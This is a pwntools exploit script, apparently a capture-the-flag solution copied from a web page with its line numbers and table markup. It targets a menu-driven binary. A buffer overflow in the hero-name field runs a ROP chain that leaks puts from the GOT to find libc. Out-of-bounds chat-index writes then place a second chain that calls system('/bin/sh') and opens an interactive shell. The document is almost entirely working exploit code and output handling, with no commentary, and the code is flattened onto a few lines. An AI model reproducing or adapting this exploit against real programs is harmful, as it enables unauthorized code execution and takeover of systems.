1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| def w32(i,v): sla(b"Enter chat index (-1 to exit): ",str(i).encode()) sla(b"Choice: ", b"2") sla(b'Enter value: ',str(c_int32(v).value).encode()) def w64(i,v): w32(i,v) w32(i+1,v>>32)
def main():
puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] main = elf.sym["main"] offset = 0x50+8 rdi_ret = 0x0000000000401ce3 ret = 0x000000000040101a payload1 = b"a"*0x50+b"b"*0x08+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(ret)+p64(main) ru(b"Your choice: ") sl(b'1') ru(b"Enter your hero's name: ") sl(payload1) ru(b"HP: 100, Attack: 10, Defense: 5\n") puts_addr=u64(r(6).ljust(8, b'\x00')) print(hex(puts_addr)) libc_base = puts_addr - libc.sym["puts"] system_addr = libc_base + libc.sym["system"] binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00")) lg("libc_base", libc_base) lg("system_addr", system_addr) lg("binsh_addr", binsh_addr)
ru(b"Your choice: ") sl(b"7") w64(70, ret) w64(72, rdi_ret) w64(74, binsh_addr) w64(76, system_addr) sla(b"Enter chat index (-1 to exit): ", b"-1")
if __name__ == '__main__': main() p.interactive()
|